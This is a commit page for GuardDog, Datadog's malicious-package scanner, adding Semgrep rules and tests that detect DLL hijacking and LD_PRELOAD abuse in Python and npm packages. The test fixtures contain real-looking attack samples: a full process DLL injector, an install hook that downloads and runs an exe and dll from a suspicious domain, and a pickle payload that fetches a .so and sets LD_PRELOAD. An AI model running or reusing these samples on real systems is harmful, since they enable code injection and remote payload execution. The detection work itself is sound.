Skip to content

Commit

Permalink
Merge pull request #382 from DataDog/s.obregoso/add_dll_highjacking
Browse files Browse the repository at this point in the history
Add DLL hijacking detection
  • Loading branch information
sobregosodd authored Jun 14, 2024
2 parents c61b7ec + e183117 commit 6b93029
Show file tree
Hide file tree
Showing 5 changed files with 342 additions and 0 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -93,6 +93,7 @@ Source code heuristics:
| download-executable | Identify when a package downloads and makes executable a remote binary |
| exec-base64 | Identify when a package dynamically executes base64-encoded code |
| silent-process-execution | Identify when a package silently executes an executable |
| dll-hijacking | Identifies when a trusted application is manipulated into loading a malicious dll |
| bidirectional-characters | Identify when a package contains bidirectional characters, which can be used to display source code differently than its actual execution. See more at https://trojansource.codes/ |
| steganography | Identify when a package retrieves hidden data from an image and executes it |
| code-execution | Identify when an OS command is executed in the setup.py file |
Expand Down Expand Up @@ -126,6 +127,7 @@ Source code heuristics:
| npm-exec-base64 | Identify when a package dynamically executes code through 'eval' |
| npm-install-script | Identify when a package has a pre or post-install script automatically running commands |
| bidirectional-characters | Identify when a package contains bidirectional characters, which can be used to display source code differently than its actual execution. See more at https://trojansource.codes/ |
| npm-dll-hijacking | Identifies when a trusted application is manipulated into loading a malicious dll |
| npm-exfiltrate-sensitive-data | Identify when a package reads and exfiltrates sensitive data from the local system |

Metadata heuristics:
Expand Down
69 changes: 69 additions & 0 deletions guarddog/analyzer/sourcecode/dll-hijacking.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
rules:
- id: dll-hijacking
languages:
- python
message: This package manipulates a trusted application into loading a malicious dll
metadata:
description: Identifies when a trusted application is manipulated into loading a malicious dll
pattern-either:

# dll side-loading
- pattern-either:
- patterns:
- pattern: "$DLL_LOAD"
- metavariable-pattern:
metavariable: $DLL_LOAD
pattern-either:
# load inline windows
- pattern-regex: (?i).*?\.exe.*?\.dll
# load inline linux
- pattern-regex: (?i).*?\/bin/.+\s+.*?\.so
# environment preload
- pattern-regex: LD_PRELOAD
- patterns:
- pattern: $FN(<...$EXE...>,...,<...$DLL...>)
- metavariable-pattern:
metavariable: $EXE
patterns:
# a string with .exe or /bin/[whatever] in it
- pattern: "..."
- pattern-regex: (?i).*?(\.exe|\/bin/.+)
- metavariable-pattern:
metavariable: $DLL
patterns:
# a string with .dll or .so in it
- pattern: "..."
- pattern-regex: (?i).*?\.(dll|so)

# dll injection
- pattern-either:
- pattern: ....WriteProcessMemory
- pattern: ....CreateRemoteThread
- pattern: ....LoadLibraryA

# phantom dll
- patterns:
# write a library to disk
- patterns:
- pattern: |
...
open($DLL,'wb')
...
$FN(...,<...$EXE...>,...)
- metavariable-pattern:
metavariable: $EXE
patterns:
# a string with .exe or /bin/[whatever] in it
- pattern: "..."
- pattern-regex: (?i).*?(\.exe|\/bin/.+)
- metavariable-pattern:
metavariable: $DLL
patterns:
# a string with .dll or .so in it
- pattern: "..."
- pattern-regex: (?i)\.(dll|so)
- focus-metavariable: $DLL

severity: WARNING
options:
symbolic_propagation: true
75 changes: 75 additions & 0 deletions guarddog/analyzer/sourcecode/npm-dll-hijacking.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
rules:
- id: npm-dll-hijacking
languages:
- javascript
message: This package manipulates a trusted application into loading a malicious dll
metadata:
description: Identifies when a trusted application is manipulated into loading a malicious dll
pattern-either:

# dll side-loading
- pattern-either:
- patterns:
- pattern: "$DLL_LOAD"
- metavariable-pattern:
metavariable: $DLL_LOAD
pattern-either:
# load inline windows
- pattern-regex: (?i).*?\.exe.*?\.dll
# load inline linux
- pattern-regex: (?i).*?\/bin/.+\s+.*?\.so
# environment preload
- pattern-regex: LD_PRELOAD
- patterns:
- pattern: $FN(<...$EXE...>,...,<...$DLL...>)
- metavariable-pattern:
metavariable: $EXE
patterns:
# a string with .exe or /bin/[whatever] in it
- pattern: "..."
- pattern-regex: (?i).*?(\.exe|\/bin/.+)
- metavariable-pattern:
metavariable: $DLL
patterns:
# a string with .dll or .so in it
- pattern: "..."
- pattern-regex: (?i).*?\.(dll|so)

# dll injection
- pattern-either:
- pattern: ....WriteProcessMemory
- pattern: ....CreateRemoteThread
- pattern: ....LoadLibraryA

# phantom dll
- patterns:
# write a library to disk
- patterns:
- pattern: |
...
$WRITE(...,<...$DLL...>,...)
...
$FN(...,<...$EXE...>,...)
- metavariable-pattern:
metavariable: $WRITE
pattern-either:
- pattern: ....writeFileSync
- pattern: ....writeFile
- pattern: ....appendFile
- metavariable-pattern:
metavariable: $EXE
patterns:
# a string with .exe or /bin/[whatever] in it
- pattern: "..."
- pattern-regex: (?i).*?(\.exe|\/bin/.+)
- metavariable-pattern:
metavariable: $DLL
patterns:
# a string with .dll or .so in it
- pattern: "..."
- pattern-regex: (?i)\.(dll|so)
- focus-metavariable: $DLL

severity: WARNING
options:
symbolic_propagation: true
135 changes: 135 additions & 0 deletions tests/analyzer/sourcecode/dll-hijacking.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
"""Injecting a DLL into a process"""
def f():
import sys

dll_name = sys.argv[1]
dll_length = len(dll_name)
PID = sys.argv[2]
kernel32 = windll.kernel32

if len(sys.argv) < 2:
print("[!] Usage: ./PY-MEMJECT calc32.dll <PID>")
sys.exit(1)

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = 0x00F0000 | 0x00100000 | 0xFFF
VIRTUAL_MEM = 0x1000 | 0x2000

dwDesiredAccess = PROCESS_ALL_ACCESS
bInheritHandle = False
dwProcessId = int(PID)
# Opens the process object via OpenProcess()
loading_process = kernel32.OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)

hProcess = loading_process
lpAddress = 0
dwSize = dll_length
flAllocationType = VIRTUAL_MEM
flProtect = PAGE_READWRITE
# Allocates memory for the host process
allocate_memory = kernel32.VirtualAllocEx(
hProcess, lpAddress, dwSize, flAllocationType, flProtect
)
hProcess = loading_process
lpBaseAddress = allocate_memory
lpBuffer = dll_name
nSize = dll_length
lpNumberOfBytesWritten = byref(c_int(0))
# Copies the .DLL to the host process
# ruleid: dll-hijacking
write_memory = kernel32.WriteProcessMemory(
hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten
)

h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

hProcess = loading_process
lpThreadAttributes = None
dwStackSize = 0
lpStartAddress = h_loadlib
lpParameter = allocate_memory
dwCreationFlags = 0
lpThreadId = byref(c_ulong(0))
# ruleid: dll-hijacking
code_execution = kernel32.CreateRemoteThread(
hProcess,
lpThreadAttributes,
dwStackSize,
lpStartAddress,
lpParameter,
dwCreationFlags,
lpThreadId,
)
print("[+] Successful injection into PID: %s" % PID)

"""OK: Injecting a DLL into a process"""
def f():
# ok: dll-hijacking
x="This is a string containing CreateRemoteThread"

"""Phantom DLL case planting a DLL and executing a builtin binary"""
def f():
class ActionOnInstall(install):
def run(self):
import os
import tempfile
from urllib.request import Request, urlopen

temp_dir = tempfile.mkdtemp(prefix="DriverGenius")
dname = temp_dir

def dfile(url):
requestObj = Request(
url,
headers={
"User-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; rv:97.0) Gecko/20100101 Firefox/97.0"
},
)
responseObj = urlopen(requestObj)
content = responseObj.read()
return content

r = dfile("https://fus.rngupdatem.buzz/c.exe")
rd = dfile("https://fus.rngupdatem.buzz/dgdeskband64.dll")
with open(dname + "\\ComServer.exe", "wb") as f:
f.write(r)
# ruleid: dll-hijacking
with open(dname + "\\dgdeskband64.dll", "wb") as f:
f.write(rd)
os.system("START " + dname + "\\ComServer.exe showdeskband")

"""OK: Injecting a DLL into a process"""
def f():
import os
# ok: dll-hijacking
os.system("start explorer.exe c:\\")

"""Known executable sideloading dll"""
def f():
import os
# ruleid: dll-hijacking
os.system("RUNDLL32.EXE" + " some.dll, function")

"""Preloading libraries in linux """
def f():
import os
import pickle
from base64 import b64encode
import requests

class Exploit(object):
def __reduce__(self):
# ruleid: dll-hijacking
return eval, ('__import__("os").system("wget http://10.0.0.2/.so -O /tmp/.so") & __import__("os").environ.__setitem__("LD_PRELOAD", "/tmp/.so")')

requests.post(
"http://10.0.0.3:5000/",
cookies={"pickle": b64encode(pickle.dumps(Exploit())).decode()},
)

"""OK: Preloading libraries in linux"""
def f():
# ok: dll-hijacking
# This is comment that mentions LD_PRELOAD
pass
61 changes: 61 additions & 0 deletions tests/analyzer/sourcecode/npm-dll-hijacking.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
// Executable sideloading a DLL file
function f() {
try {
process.chdir("E:\\Games\\ALT1Games\\TwelveSky1");
var injector = require("./build/release/injector");
// ruleid: npm-dll-hijacking
if (
injector.executeInject(
"TwelveSky.exe alt1games.twelvesky1:/test/test/0/18/0/2/1024/768",
"E:\\Games\\ALT1Games\\TwelveSky1\\TSX_Client.dll"
)
) {
console.log("Process started and injected.");
} else {
console.log("Unable to execute and inject dll.");
}
} catch (err) {
console.error("Exception Thrown!");
console.error(err);
}
}

// OK: Run an Executable
function f() {
// ok: npm-dll-hijacking
spawn('/usr/bin/python', ['-c', 'print("Hello World")'])
}

// Preloading libraries in linux
function f() {
// ruleid: npm-dll-hijacking
spawn("LD_PRELOAD=/tmp/lib", "/usr/bin/binary");
}

// Preloading libraries in linux
function f() {
/*
Multiline comment
// ok: npm-dll-hijacking
LD_PRELOAD=/tmp/lib /usr/bin/binary
*/
return;
}

// Phantom DLL case planting a shared object file and executing a builtin binary
function f() {
const fs = require("fs");

const postData = "";

// ruleid: npm-dll-hijacking
fs.writeFileSync("/tmp/.so", "utf8", (err, data) => {
if (err) {
console.error(err);
return;
}
postData = data;
});

spawn('/usr/bin/program', ['-lah'])
}

0 comments on commit 6b93029

Please sign in to comment.